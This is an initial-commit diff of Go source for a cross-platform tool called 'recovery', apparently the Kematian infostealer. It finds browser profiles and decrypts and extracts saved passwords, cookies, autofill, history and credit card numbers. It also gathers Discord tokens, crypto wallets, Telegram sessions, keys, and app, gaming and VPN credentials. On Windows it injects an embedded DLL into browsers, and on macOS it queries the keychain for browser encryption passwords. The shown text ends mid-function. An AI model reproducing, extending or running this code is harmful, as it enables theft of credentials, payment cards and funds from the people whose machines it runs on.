initial commit

This commit is contained in:
i2p
2026-08-27 11:23:01 -06:00
commit d8ff4ca963
144 changed files with 21051 additions and 0 deletions
@@ -0,0 +1,111 @@
//go:build darwin
package browser
import (
"os"
"path/filepath"
"strings"
"recovery/recovery/types"
)
var Browsers = []types.BrowserConfig{
// Chromium family
{Name: "Chrome", UserDataPath: "Google/Chrome", ProcessName: "Google Chrome"},
{Name: "Chrome Beta", UserDataPath: "Google/Chrome Beta", ProcessName: "Google Chrome Beta"},
{Name: "Chrome Canary", UserDataPath: "Google/Chrome Canary", ProcessName: "Google Chrome Canary"},
{Name: "Chromium", UserDataPath: "Chromium", ProcessName: "Chromium"},
{Name: "Edge", UserDataPath: "Microsoft Edge", ProcessName: "Microsoft Edge"},
{Name: "Brave", UserDataPath: "BraveSoftware/Brave-Browser", ProcessName: "Brave Browser"},
{Name: "Vivaldi", UserDataPath: "Vivaldi", ProcessName: "Vivaldi"},
{Name: "Opera", UserDataPath: "com.operasoftware.Opera", ProcessName: "Opera", FlatProfile: true},
{Name: "Opera GX", UserDataPath: "com.operasoftware.OperaGX", ProcessName: "Opera GX", FlatProfile: true},
{Name: "Arc", UserDataPath: "Arc/User Data", ProcessName: "Arc"},
{Name: "Yandex", UserDataPath: "Yandex/YandexBrowser", ProcessName: "Yandex"},
// Firefox family
{Name: "Firefox", UserDataPath: "Firefox", ProcessName: "firefox", IsFirefox: true},
{Name: "LibreWolf", UserDataPath: "LibreWolf", ProcessName: "librewolf", IsFirefox: true},
{Name: "Waterfox", UserDataPath: "Waterfox", ProcessName: "waterfox", IsFirefox: true},
}
func GetLocalAppData() string {
home, _ := os.UserHomeDir()
return filepath.Join(home, "Library", "Application Support")
}
func GetUserDataRoot(cfg types.BrowserConfig) string {
return filepath.Join(GetLocalAppData(), cfg.UserDataPath)
}
func LocalStatePath(cfg types.BrowserConfig) string {
return filepath.Join(GetUserDataRoot(cfg), "Local State")
}
func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo {
root := GetUserDataRoot(cfg)
if cfg.FlatProfile {
if _, err := os.Stat(root); err == nil {
return []types.ProfileInfo{{Name: "Default", Path: root}}
}
return nil
}
if cfg.IsFirefox {
return findFirefoxProfiles(root)
}
return findChromiumProfiles(root)
}
func findChromiumProfiles(root string) []types.ProfileInfo {
entries, err := os.ReadDir(root)
if err != nil {
return nil
}
var profiles []types.ProfileInfo
for _, e := range entries {
if !e.IsDir() {
continue
}
prefPath := filepath.Join(root, e.Name(), "Preferences")
if _, err := os.Stat(prefPath); err == nil {
profiles = append(profiles, types.ProfileInfo{
Name: e.Name(),
Path: filepath.Join(root, e.Name()),
})
}
}
return profiles
}
func findFirefoxProfiles(root string) []types.ProfileInfo {
profilesDir := filepath.Join(root, "Profiles")
entries, err := os.ReadDir(profilesDir)
if err != nil {
return nil
}
var profiles []types.ProfileInfo
for _, e := range entries {
if !e.IsDir() {
continue
}
if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil {
profiles = append(profiles, types.ProfileInfo{
Name: e.Name(),
Path: filepath.Join(profilesDir, e.Name()),
})
}
}
return profiles
}
func IsFirefoxProfileName(name string) bool {
parts := strings.SplitN(name, ".", 2)
if len(parts) != 2 {
return false
}
suffix := strings.ToLower(parts[1])
return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release")
}
@@ -0,0 +1,112 @@
//go:build linux
package browser
import (
"os"
"path/filepath"
"strings"
"recovery/recovery/types"
)
var Browsers = []types.BrowserConfig{
// Chromium family
{Name: "Chrome", UserDataPath: "google-chrome", ProcessName: "chrome"},
{Name: "Chrome Beta", UserDataPath: "google-chrome-beta", ProcessName: "chrome"},
{Name: "Chrome Dev", UserDataPath: "google-chrome-unstable", ProcessName: "chrome"},
{Name: "Chromium", UserDataPath: "chromium", ProcessName: "chromium"},
{Name: "Edge", UserDataPath: "microsoft-edge", ProcessName: "msedge"},
{Name: "Brave", UserDataPath: "BraveSoftware/Brave-Browser", ProcessName: "brave"},
{Name: "Vivaldi", UserDataPath: "vivaldi", ProcessName: "vivaldi"},
{Name: "Opera", UserDataPath: "opera", ProcessName: "opera", FlatProfile: true},
// Firefox family
{Name: "Firefox", UserDataPath: ".mozilla/firefox", ProcessName: "firefox", IsFirefox: true},
{Name: "LibreWolf", UserDataPath: ".librewolf", ProcessName: "librewolf", IsFirefox: true},
{Name: "Waterfox", UserDataPath: ".waterfox", ProcessName: "waterfox", IsFirefox: true},
}
func GetLocalAppData() string {
home, _ := os.UserHomeDir()
return filepath.Join(home, ".config")
}
func GetUserDataRoot(cfg types.BrowserConfig) string {
if cfg.IsFirefox {
home, _ := os.UserHomeDir()
return filepath.Join(home, cfg.UserDataPath)
}
return filepath.Join(GetLocalAppData(), cfg.UserDataPath)
}
func LocalStatePath(cfg types.BrowserConfig) string {
return filepath.Join(GetUserDataRoot(cfg), "Local State")
}
func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo {
root := GetUserDataRoot(cfg)
if cfg.FlatProfile {
if _, err := os.Stat(root); err == nil {
return []types.ProfileInfo{{Name: "Default", Path: root}}
}
return nil
}
if cfg.IsFirefox {
return findFirefoxProfiles(root)
}
return findChromiumProfiles(root)
}
func findChromiumProfiles(root string) []types.ProfileInfo {
entries, err := os.ReadDir(root)
if err != nil {
return nil
}
var profiles []types.ProfileInfo
for _, e := range entries {
if !e.IsDir() {
continue
}
prefPath := filepath.Join(root, e.Name(), "Preferences")
if _, err := os.Stat(prefPath); err == nil {
profiles = append(profiles, types.ProfileInfo{
Name: e.Name(),
Path: filepath.Join(root, e.Name()),
})
}
}
return profiles
}
func findFirefoxProfiles(root string) []types.ProfileInfo {
profilesDir := root
entries, err := os.ReadDir(profilesDir)
if err != nil {
return nil
}
var profiles []types.ProfileInfo
for _, e := range entries {
if !e.IsDir() {
continue
}
if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil {
profiles = append(profiles, types.ProfileInfo{
Name: e.Name(),
Path: filepath.Join(profilesDir, e.Name()),
})
}
}
return profiles
}
func IsFirefoxProfileName(name string) bool {
parts := strings.SplitN(name, ".", 2)
if len(parts) != 2 {
return false
}
suffix := strings.ToLower(parts[1])
return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release")
}
@@ -0,0 +1,113 @@
//go:build windows
package browser
import (
"os"
"path/filepath"
"strings"
"recovery/recovery/types"
)
var Browsers = []types.BrowserConfig{
// ── Chromium family (LOCALAPPDATA) ────────────────────────────────────────
{Name: "Chrome", UserDataPath: `Google\Chrome\User Data`, ProcessName: "chrome.exe"},
{Name: "Edge", UserDataPath: `Microsoft\Edge\User Data`, ProcessName: "msedge.exe"},
{Name: "Brave", UserDataPath: `BraveSoftware\Brave-Browser\User Data`, ProcessName: "brave.exe"},
{Name: "Vivaldi", UserDataPath: `Vivaldi\User Data`, ProcessName: "vivaldi.exe"},
{Name: "Yandex", UserDataPath: `Yandex\YandexBrowser\User Data`, ProcessName: "browser.exe"},
{Name: "Arc", UserDataPath: `Arc\User Data`, ProcessName: "Arc.exe"},
// ── Opera (APPDATA, flat profile) ────────────────────────────────────────
// ts doesn't work will fix in the future
{Name: "Opera", UserDataPath: `Opera Software\Opera Stable`, ProcessName: "opera.exe", UseAppData: true, FlatProfile: true},
{Name: "Opera GX", UserDataPath: `Opera Software\Opera GX Stable`, ProcessName: "opera.exe", UseAppData: true, FlatProfile: true},
// ── Firefox family (APPDATA, Firefox profile layout) ─────────────────────
{Name: "Firefox", UserDataPath: `Mozilla\Firefox`, ProcessName: "firefox.exe", UseAppData: true, IsFirefox: true},
{Name: "LibreWolf", UserDataPath: `LibreWolf`, ProcessName: "librewolf.exe", UseAppData: true, IsFirefox: true},
{Name: "Waterfox", UserDataPath: `Waterfox`, ProcessName: "waterfox.exe", UseAppData: true, IsFirefox: true},
}
func GetLocalAppData() string {
return os.Getenv("LOCALAPPDATA")
}
func GetUserDataRoot(cfg types.BrowserConfig) string {
base := os.Getenv("LOCALAPPDATA")
if cfg.UseAppData {
base = os.Getenv("APPDATA")
}
return filepath.Join(base, cfg.UserDataPath)
}
func LocalStatePath(cfg types.BrowserConfig) string {
return filepath.Join(GetUserDataRoot(cfg), "Local State")
}
func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo {
root := GetUserDataRoot(cfg)
if cfg.FlatProfile {
if _, err := os.Stat(root); err == nil {
return []types.ProfileInfo{{Name: "Default", Path: root}}
}
return nil
}
if cfg.IsFirefox {
return findFirefoxProfiles(root)
}
return findChromiumProfiles(root)
}
func findChromiumProfiles(root string) []types.ProfileInfo {
entries, err := os.ReadDir(root)
if err != nil {
return nil
}
var profiles []types.ProfileInfo
for _, e := range entries {
if !e.IsDir() {
continue
}
prefPath := filepath.Join(root, e.Name(), "Preferences")
if _, err := os.Stat(prefPath); err == nil {
profiles = append(profiles, types.ProfileInfo{
Name: e.Name(),
Path: filepath.Join(root, e.Name()),
})
}
}
return profiles
}
func findFirefoxProfiles(root string) []types.ProfileInfo {
profilesDir := filepath.Join(root, "Profiles")
entries, err := os.ReadDir(profilesDir)
if err != nil {
return nil
}
var profiles []types.ProfileInfo
for _, e := range entries {
if !e.IsDir() {
continue
}
if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil {
profiles = append(profiles, types.ProfileInfo{
Name: e.Name(),
Path: filepath.Join(profilesDir, e.Name()),
})
}
}
return profiles
}
func IsFirefoxProfileName(name string) bool {
parts := strings.SplitN(name, ".", 2)
if len(parts) != 2 {
return false
}
suffix := strings.ToLower(parts[1])
return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release")
}
@@ -0,0 +1,7 @@
package browser
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[browser] "+format, args...)
}
@@ -0,0 +1,316 @@
package chromium
import (
"database/sql"
"encoding/json"
"fmt"
"os"
"path/filepath"
"strings"
"recovery/recovery/crypto"
"recovery/recovery/db"
"recovery/recovery/types"
)
const HistoryLimit = 5000
func ExtractPasswords(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.PasswordResult {
var results []types.PasswordResult
for _, dbFile := range []string{"Login Data", "Login Data For Account"} {
dbPath := filepath.Join(profile.Path, dbFile)
if _, err := os.Stat(dbPath); err != nil {
continue
}
d, err := db.OpenDatabase(dbPath, pids)
if err != nil {
continue
}
rows, err := d.Query("SELECT origin_url, username_value, password_value FROM logins")
if err != nil {
d.Close()
continue
}
for rows.Next() {
var url, username sql.NullString
var passwordBlob []byte
rows.Scan(&url, &username, &passwordBlob)
password := crypto.DecryptChromiumBlob(passwordBlob, keys.V10, keys.V20)
if dbFile == "Login Data For Account" && password == "" {
continue
}
if url.String != "" && (username.String != "" || password != "") {
results = append(results, types.PasswordResult{
URL: url.String,
Username: username.String,
Password: password,
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
rows.Close()
d.Close()
}
return results
}
func ExtractCookies(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.CookieResult {
dbPath := filepath.Join(profile.Path, "Network", "Cookies")
if _, err := os.Stat(dbPath); err != nil {
dbPath = filepath.Join(profile.Path, "Cookies")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
}
d, err := db.OpenDatabase(dbPath, pids)
if err != nil {
logf("cookie DB open failed for %s (%s): %v", cfg.Name, dbPath, err)
return nil
}
defer d.Close()
rows, err := d.Query("SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value, value FROM cookies")
if err != nil {
logf("cookie query failed for %s: %v", cfg.Name, err)
return nil
}
defer rows.Close()
var results []types.CookieResult
count := 0
for rows.Next() {
count++
var host, name, path, plainValue sql.NullString
var secure, httpOnly sql.NullBool
var expiresUTC sql.NullInt64
var encryptedValue []byte
rows.Scan(&host, &name, &path, &secure, &httpOnly, &expiresUTC, &encryptedValue, &plainValue)
value := crypto.DecryptChromiumBlob(encryptedValue, keys.V10, keys.V20)
if value == "" {
value = plainValue.String
}
results = append(results, types.CookieResult{
Host: host.String,
Name: name.String,
Value: value,
Path: path.String,
Secure: secure.Bool,
HTTPOnly: httpOnly.Bool,
ExpiresUTC: expiresUTC.Int64,
Browser: cfg.Name,
Profile: profile.Name,
})
}
logf("cookie row count for %s: %d", cfg.Name, count)
return results
}
func ExtractAutofill(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.AutofillResult {
dbPath := filepath.Join(profile.Path, "Web Data")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
d, err := db.OpenDatabase(dbPath, pids)
if err != nil {
return nil
}
defer d.Close()
queries := []string{
"SELECT name, value, date_created, count FROM autofill",
"SELECT name, value, count FROM autofill",
"SELECT name, value FROM autofill",
}
var results []types.AutofillResult
for _, q := range queries {
rows, err := d.Query(q)
if err != nil {
continue
}
for rows.Next() {
var name, value sql.NullString
var dateCreated, count sql.NullInt64
switch len(strings.Split(q, ",")) {
case 4:
rows.Scan(&name, &value, &dateCreated, &count)
case 3:
rows.Scan(&name, &value, &count)
default:
rows.Scan(&name, &value)
}
if name.String != "" {
results = append(results, types.AutofillResult{
Name: name.String,
Value: value.String,
DateCreated: dateCreated.Int64,
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
rows.Close()
if len(results) > 0 {
break
}
}
return results
}
func ExtractHistory(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.HistoryResult {
dbPath := filepath.Join(profile.Path, "History")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
d, err := db.OpenDatabase(dbPath, pids)
if err != nil {
return nil
}
defer d.Close()
queries := []string{
fmt.Sprintf("SELECT u.url, u.title, v.visit_time, v.transition, v.visit_duration FROM visits v JOIN urls u ON u.id = v.url ORDER BY v.visit_time DESC LIMIT %d", HistoryLimit),
fmt.Sprintf("SELECT u.url, u.title, v.visit_time, v.transition FROM visits v JOIN urls u ON u.id = v.url ORDER BY v.visit_time DESC LIMIT %d", HistoryLimit),
}
var results []types.HistoryResult
for _, q := range queries {
rows, err := d.Query(q)
if err != nil {
continue
}
for rows.Next() {
var url, title sql.NullString
var visitTime sql.NullInt64
var transition, duration sql.NullInt64
if strings.Contains(q, "visit_duration") {
rows.Scan(&url, &title, &visitTime, &transition, &duration)
} else {
rows.Scan(&url, &title, &visitTime, &transition)
}
var visitTimeUnix int64
if visitTime.Int64 > 0 {
visitTimeUnix = (visitTime.Int64 - 11644473600000000) / 1000000
}
if url.String != "" {
results = append(results, types.HistoryResult{
URL: url.String,
Title: title.String,
VisitTimeUnix: visitTimeUnix,
VisitCount: duration.Int64,
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
rows.Close()
if len(results) > 0 {
break
}
}
return results
}
func ExtractBookmarks(profile types.ProfileInfo, cfg types.BrowserConfig) []types.BookmarkResult {
bookmarkPath := filepath.Join(profile.Path, "Bookmarks")
data, err := os.ReadFile(bookmarkPath)
if err != nil {
return nil
}
var bookmarkData map[string]interface{}
if err := json.Unmarshal(data, &bookmarkData); err != nil {
return nil
}
var results []types.BookmarkResult
if roots, ok := bookmarkData["roots"].(map[string]interface{}); ok {
walkBookmarkNode(roots, cfg.Name, profile.Name, &results)
}
return results
}
func walkBookmarkNode(node map[string]interface{}, browser, profileName string, results *[]types.BookmarkResult) {
for _, key := range []string{"bookmark_bar", "other", "synced"} {
if child, ok := node[key].(map[string]interface{}); ok {
walkBookmarkChildren(child, browser, profileName, results)
}
}
}
func walkBookmarkChildren(node map[string]interface{}, browser, profileName string, results *[]types.BookmarkResult) {
children, ok := node["children"].([]interface{})
if !ok {
return
}
for _, c := range children {
child, ok := c.(map[string]interface{})
if !ok {
continue
}
switch child["type"] {
case "url":
name, _ := child["name"].(string)
url, _ := child["url"].(string)
if url != "" {
*results = append(*results, types.BookmarkResult{
Name: name,
URL: url,
Type: "url",
Browser: browser,
Profile: profileName,
})
}
case "folder":
walkBookmarkChildren(child, browser, profileName, results)
}
}
}
func ExtractCreditCards(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.CreditCardResult {
dbPath := filepath.Join(profile.Path, "Web Data")
if _, err := os.Stat(dbPath); err != nil {
return nil
}
d, err := db.OpenDatabase(dbPath, pids)
if err != nil {
return nil
}
defer d.Close()
rows, err := d.Query("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, nickname FROM credit_cards")
if err != nil {
return nil
}
defer rows.Close()
var results []types.CreditCardResult
for rows.Next() {
var name, nickname sql.NullString
var expMonth, expYear sql.NullInt64
var encrypted []byte
rows.Scan(&name, &expMonth, &expYear, &encrypted, &nickname)
cardNumber := crypto.DecryptChromiumBlob(encrypted, keys.V10, keys.V20)
if name.String != "" || cardNumber != "" {
results = append(results, types.CreditCardResult{
NameOnCard: name.String,
ExpirationMonth: int(expMonth.Int64),
ExpirationYear: int(expYear.Int64),
CardNumber: cardNumber,
Nickname: nickname.String,
Browser: cfg.Name,
Profile: profile.Name,
})
}
}
return results
}
@@ -0,0 +1,7 @@
package chromium
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[chromium] "+format, args...)
}
@@ -0,0 +1,399 @@
package recovery
import (
"context"
"fmt"
"sync"
"recovery/recovery/browser"
"recovery/recovery/chromium"
"recovery/recovery/crypto"
"recovery/recovery/discord"
"recovery/recovery/firefox"
"recovery/recovery/platform"
"recovery/recovery/scanner"
"recovery/recovery/types"
)
func mergeInto(dst, src *types.CollectionResult) {
dst.Passwords = append(dst.Passwords, src.Passwords...)
dst.Cookies = append(dst.Cookies, src.Cookies...)
dst.Autofill = append(dst.Autofill, src.Autofill...)
dst.History = append(dst.History, src.History...)
dst.Bookmarks = append(dst.Bookmarks, src.Bookmarks...)
dst.CreditCards = append(dst.CreditCards, src.CreditCards...)
dst.DiscordTokens = append(dst.DiscordTokens, src.DiscordTokens...)
dst.Files = append(dst.Files, src.Files...)
dst.Wallets = append(dst.Wallets, src.Wallets...)
dst.Telegram = append(dst.Telegram, src.Telegram...)
dst.Keys = append(dst.Keys, src.Keys...)
dst.AppCredentials = append(dst.AppCredentials, src.AppCredentials...)
if src.Gaming != nil {
dst.Gaming = src.Gaming
}
if src.VPNs != nil {
dst.VPNs = src.VPNs
}
dst.Errors = append(dst.Errors, src.Errors...)
}
func Collect(ctx context.Context, opts types.CollectOptions, partialFn func(*types.CollectionResult)) (*types.CollectionResult, error) {
result := &types.CollectionResult{}
platform.ResetHandleCache()
defer platform.ResetHandleCache()
var (
mu sync.Mutex
wg sync.WaitGroup
)
launchScans(opts, result, partialFn, &wg, &mu)
platformSetupCollect()
defer platformTeardownCollect()
needsBrowserData := opts.Passwords || opts.Cookies || opts.Autofill ||
opts.History || opts.Bookmarks || opts.CreditCards
type job struct {
cfg types.BrowserConfig
keys *types.ResolvedKeys
profile types.ProfileInfo
pids []uint32
}
jobCh := make(chan job, 64)
// Launch extraction workers up front so they can consume jobs as soon as
// each browser's keys resolve, instead of waiting for every browser's key
// resolution (and its headless spawn) to finish first.
const workers = 4
for i := 0; i < workers; i++ {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("browser profile extraction", &result.Errors, &mu)
for j := range jobCh {
select {
case <-ctx.Done():
return
default:
}
func() {
defer recoverErrors(fmt.Sprintf("%s/%s extraction", j.cfg.Name, j.profile.Name), &result.Errors, &mu)
partial := extractProfileData(ctx, j.cfg, j.keys, j.profile, j.pids, opts)
mu.Lock()
mergeInto(result, partial)
mu.Unlock()
if partialFn != nil && (len(partial.Passwords) > 0 || len(partial.Cookies) > 0 ||
len(partial.Autofill) > 0 || len(partial.History) > 0 ||
len(partial.Bookmarks) > 0 || len(partial.CreditCards) > 0) {
partialFn(partial)
}
}()
}
}()
}
if needsBrowserData {
const keyWorkers = 3
sem := make(chan struct{}, keyWorkers)
var keyWg sync.WaitGroup
for _, cfg := range browser.Browsers {
profiles := browser.FindProfileDirs(cfg)
if len(profiles) == 0 {
continue
}
keyWg.Add(1)
go func(cfg types.BrowserConfig, profiles []types.ProfileInfo) {
defer keyWg.Done()
sem <- struct{}{}
defer func() { <-sem }()
logf("resolving keys for %s (%d profiles)", cfg.Name, len(profiles))
keys, err := crypto.ResolveKeys(cfg)
if err != nil {
logf("%s key resolution failed: %v", cfg.Name, err)
keys = &types.ResolvedKeys{}
mu.Lock()
result.Errors = append(result.Errors, fmt.Sprintf("%s key resolution: %v", cfg.Name, err))
mu.Unlock()
}
pids, _ := platform.FindProcesses(cfg.ProcessName)
for _, p := range profiles {
select {
case jobCh <- job{cfg, keys, p, pids}:
case <-ctx.Done():
logf("collection deadline reached; stopping job producer for %s", cfg.Name)
return
}
}
}(cfg, profiles)
}
go func() {
keyWg.Wait()
close(jobCh)
}()
} else {
close(jobCh)
}
wg.Wait()
if err := ctx.Err(); err != nil {
note := fmt.Sprintf("collection interrupted (%v); results may be incomplete", err)
result.Errors = append(result.Errors, note)
logf("%s", note)
}
return result, nil
}
func launchScans(opts types.CollectOptions, result *types.CollectionResult, partialFn func(*types.CollectionResult), wg *sync.WaitGroup, mu *sync.Mutex) {
if opts.Discord {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("discord token extraction", &result.Errors, mu)
tokens := discord.ExtractTokens()
if len(tokens) > 0 {
mu.Lock()
result.DiscordTokens = append(result.DiscordTokens, tokens...)
mu.Unlock()
if partialFn != nil {
partialFn(&types.CollectionResult{DiscordTokens: tokens})
}
}
}()
}
if opts.Files {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("file scan", &result.Errors, mu)
files := scanner.ScanFiles()
if len(files) > 0 {
mu.Lock()
result.Files = append(result.Files, files...)
mu.Unlock()
if partialFn != nil {
partialFn(&types.CollectionResult{Files: files})
}
}
}()
}
if opts.Wallets {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("wallet scan", &result.Errors, mu)
wallets := scanner.ScanWallets()
if len(wallets) > 0 {
mu.Lock()
result.Wallets = append(result.Wallets, wallets...)
mu.Unlock()
if partialFn != nil {
partialFn(&types.CollectionResult{Wallets: wallets})
}
}
}()
}
if opts.Telegram {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("telegram scan", &result.Errors, mu)
sessions := scanner.ScanTelegram()
if len(sessions) > 0 {
mu.Lock()
result.Telegram = append(result.Telegram, sessions...)
mu.Unlock()
if partialFn != nil {
partialFn(&types.CollectionResult{Telegram: sessions})
}
}
}()
}
if opts.Keys {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("key scan", &result.Errors, mu)
keys := scanner.ScanKeys()
if len(keys) > 0 {
mu.Lock()
result.Keys = append(result.Keys, keys...)
mu.Unlock()
if partialFn != nil {
partialFn(&types.CollectionResult{Keys: keys})
}
}
}()
}
if opts.Apps {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("app credentials scan", &result.Errors, mu)
apps := scanner.ScanApps()
if len(apps) > 0 {
mu.Lock()
result.AppCredentials = append(result.AppCredentials, apps...)
mu.Unlock()
if partialFn != nil {
partialFn(&types.CollectionResult{AppCredentials: apps})
}
}
}()
}
if opts.Gaming {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("gaming scan", &result.Errors, mu)
gaming := ScanGaming()
if gaming != nil {
mu.Lock()
result.Gaming = gaming
mu.Unlock()
if partialFn != nil {
partialFn(&types.CollectionResult{Gaming: gaming})
}
}
}()
}
if opts.VPNs {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("vpn scan", &result.Errors, mu)
vpns := ScanVPNs()
if vpns != nil {
mu.Lock()
result.VPNs = vpns
mu.Unlock()
if partialFn != nil {
partialFn(&types.CollectionResult{VPNs: vpns})
}
}
}()
}
}
func extractProfileData(ctx context.Context, cfg types.BrowserConfig, keys *types.ResolvedKeys, profile types.ProfileInfo, pids []uint32, opts types.CollectOptions) *types.CollectionResult {
partial := &types.CollectionResult{}
var (
wg sync.WaitGroup
eMu sync.Mutex
errs []string
)
label := fmt.Sprintf("%s/%s", cfg.Name, profile.Name)
if cfg.IsFirefox {
if opts.Passwords {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" password extraction", &errs, &eMu)
partial.Passwords = firefox.ExtractPasswords(profile, cfg, pids)
}()
}
if opts.Cookies {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" cookie extraction", &errs, &eMu)
partial.Cookies = firefox.ExtractCookies(profile, cfg)
}()
}
if opts.Autofill {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" autofill extraction", &errs, &eMu)
partial.Autofill = firefox.ExtractAutofill(profile, cfg, pids)
}()
}
if opts.History {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" history extraction", &errs, &eMu)
partial.History = firefox.ExtractHistory(profile, cfg)
}()
}
if opts.Bookmarks {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" bookmark extraction", &errs, &eMu)
partial.Bookmarks = firefox.ExtractBookmarks(profile, cfg)
}()
}
wg.Wait()
partial.Errors = errs
return partial
}
if opts.Passwords {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" password extraction", &errs, &eMu)
partial.Passwords = chromium.ExtractPasswords(profile, cfg, keys, pids)
}()
}
if opts.Cookies {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" cookie extraction", &errs, &eMu)
partial.Cookies = chromium.ExtractCookies(profile, cfg, keys, pids)
}()
}
if opts.Autofill {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" autofill extraction", &errs, &eMu)
partial.Autofill = chromium.ExtractAutofill(profile, cfg, pids)
}()
}
if opts.History {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" history extraction", &errs, &eMu)
partial.History = chromium.ExtractHistory(profile, cfg, pids)
}()
}
if opts.Bookmarks {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" bookmark extraction", &errs, &eMu)
partial.Bookmarks = chromium.ExtractBookmarks(profile, cfg)
}()
}
if opts.CreditCards {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" credit card extraction", &errs, &eMu)
partial.CreditCards = chromium.ExtractCreditCards(profile, cfg, keys, pids)
}()
}
wg.Wait()
partial.Errors = errs
return partial
}
@@ -0,0 +1,7 @@
//go:build !windows
package recovery
func platformSetupCollect() {}
func platformTeardownCollect() {}
@@ -0,0 +1,41 @@
//go:build windows
package recovery
import (
"os"
"recovery/recovery/browser"
"recovery/recovery/platform"
)
func platformSetupCollect() {
if os.Getenv("KEMATIAN_NO_INJECT") != "" {
logf("injection disabled via KEMATIAN_NO_INJECT — direct file access only")
return
}
dllBytes := platform.GetEmbeddedDLL()
if dllBytes != nil {
for _, cfg := range browser.Browsers {
logf("attempting DLL injection into %s", cfg.Name)
session, err := platform.CreatePipeSession(dllBytes, cfg.Name)
if err != nil {
logf("inject %s failed: %v", cfg.Name, err)
continue
}
_ = session
logf("pipe session established with %s", cfg.Name)
break
}
} else {
logf("no embedded DLL — direct file access only")
}
}
func platformTeardownCollect() {
if platform.ActivePipeSession != nil {
platform.ActivePipeSession.Close()
platform.ActivePipeSession = nil
}
}
@@ -0,0 +1,31 @@
package crypto
import "strings"
func CleanPassword(data []byte) string {
s := string(data)
allPrint := true
for _, c := range s {
if c < 32 && c != '\t' && c != '\n' && c != '\r' {
allPrint = false
break
}
}
if allPrint {
return strings.TrimSpace(s)
}
if len(data) > 32 {
s2 := string(data[32:])
allPrint2 := true
for _, c := range s2 {
if c < 32 && c != '\t' && c != '\n' && c != '\r' {
allPrint2 = false
break
}
}
if allPrint2 {
return strings.TrimSpace(s2)
}
}
return ""
}
@@ -0,0 +1,163 @@
//go:build darwin
package crypto
import (
"crypto/aes"
"crypto/cipher"
"crypto/sha1"
"encoding/json"
"fmt"
"os"
"os/exec"
"strings"
"recovery/recovery/browser"
"recovery/recovery/types"
"golang.org/x/crypto/pbkdf2"
)
const (
darwinChromeSalt = "saltysalt"
darwinChromeIterations = 1003
darwinChromeKeyLen = 16
)
var chromeKeychainServices = map[string]string{
"Chrome": "Chrome Safe Storage",
"Chrome Beta": "Chrome Safe Storage",
"Chrome Canary": "Chrome Safe Storage",
"Chromium": "Chromium Safe Storage",
"Edge": "Microsoft Edge Safe Storage",
"Brave": "Brave Safe Storage",
"Vivaldi": "Vivaldi Safe Storage",
"Opera": "Opera Safe Storage",
"Opera GX": "Opera Safe Storage",
"Arc": "Arc Safe Storage",
"Yandex": "Yandex Safe Storage",
}
func getKeychainPassword(browserName string) (string, error) {
service, ok := chromeKeychainServices[browserName]
if !ok {
service = browserName + " Safe Storage"
}
cmd := exec.Command("security", "find-generic-password", "-wa", service)
out, err := cmd.Output()
if err != nil {
return "", fmt.Errorf("keychain lookup failed for %s: %w", service, err)
}
return strings.TrimSpace(string(out)), nil
}
func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
if cfg.IsFirefox {
return &types.ResolvedKeys{}, nil
}
localStatePath := browser.LocalStatePath(cfg)
if _, err := os.Stat(localStatePath); err != nil {
// fuck it we still trying
return resolveKeyFromKeychain(cfg)
}
data, err := os.ReadFile(localStatePath)
if err != nil {
return resolveKeyFromKeychain(cfg)
}
var localState map[string]interface{}
if err := json.Unmarshal(data, &localState); err != nil {
return resolveKeyFromKeychain(cfg)
}
return resolveKeyFromKeychain(cfg)
}
func resolveKeyFromKeychain(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
password, err := getKeychainPassword(cfg.Name)
if err != nil {
return nil, fmt.Errorf("could not get keychain password for %s: %w", cfg.Name, err)
}
